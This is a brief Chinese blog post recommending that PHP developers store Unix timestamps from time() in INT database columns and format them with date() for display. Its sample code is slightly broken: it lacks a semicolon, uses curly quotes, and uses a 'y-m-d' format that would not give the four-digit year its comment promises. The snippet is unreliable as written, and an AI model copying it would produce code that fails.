我想有很多人都在用date()函数来获取时间,然后在数据库中,使用datetime格式来储存,这个方法不是说比用time()函数差,只不过在PHP中使用time函数获得的是Unix时间戳,这个是很精确的时间,关于Unix时间戳,大概是这个意思,从1970年0时0分0秒开始到现在的秒数.使用它来获得的是一个INT值,储存在数据库里只要使用INT格式就可以了,方便数据库进行排序,搜索,而且比datetime格式更节省数据库空间。所以我建议大家使用time函数来获得时间。
那么如何来使用time函数呢.下面我给个例子大家就会明白了
<?php
$time=time()
/* 下面是显示怎么输出,在实际使用当中,我们只要把上面获得的时间储存在数据库中,需要显示的时候在用下面的方法来使用*/
$time=date(“y-m-d H:i:s”,$time);
//然后我们把$time当成date()函数的参数用”Y-m-d
//H:i:S”的格式来输出,这样比较方便我们查看
echo $time;
//输出的结果应该是类似2006-11-22 22:42:23的时间格式
?>

现在大家知道如何使用time()来储存时间了吧 阅读详细 »